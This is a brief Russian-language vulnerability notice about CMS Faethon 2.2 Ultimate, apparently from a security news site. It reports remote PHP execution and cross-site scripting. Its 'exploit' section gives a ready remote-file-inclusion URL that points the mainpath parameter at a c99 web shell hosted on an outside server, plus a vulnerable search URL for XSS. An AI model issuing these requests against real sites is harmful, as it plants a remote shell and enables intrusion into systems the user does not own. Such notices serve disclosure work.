Программа: CMS Faethon 2.2 Ultimate

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе или произвольный сценарий в контексте безопасности уязвимого сайта.

Эксплоит:

PHP: http://WwW.4RxH.CoM/22_ultimate/templates/header.php? mainpath=http://rxh.freehostia.com/shells/c99in.txt?

XSS: http://WwW.4RxH.CoM/22_ultimate/search.php?what=&where=articles



Оставить мнение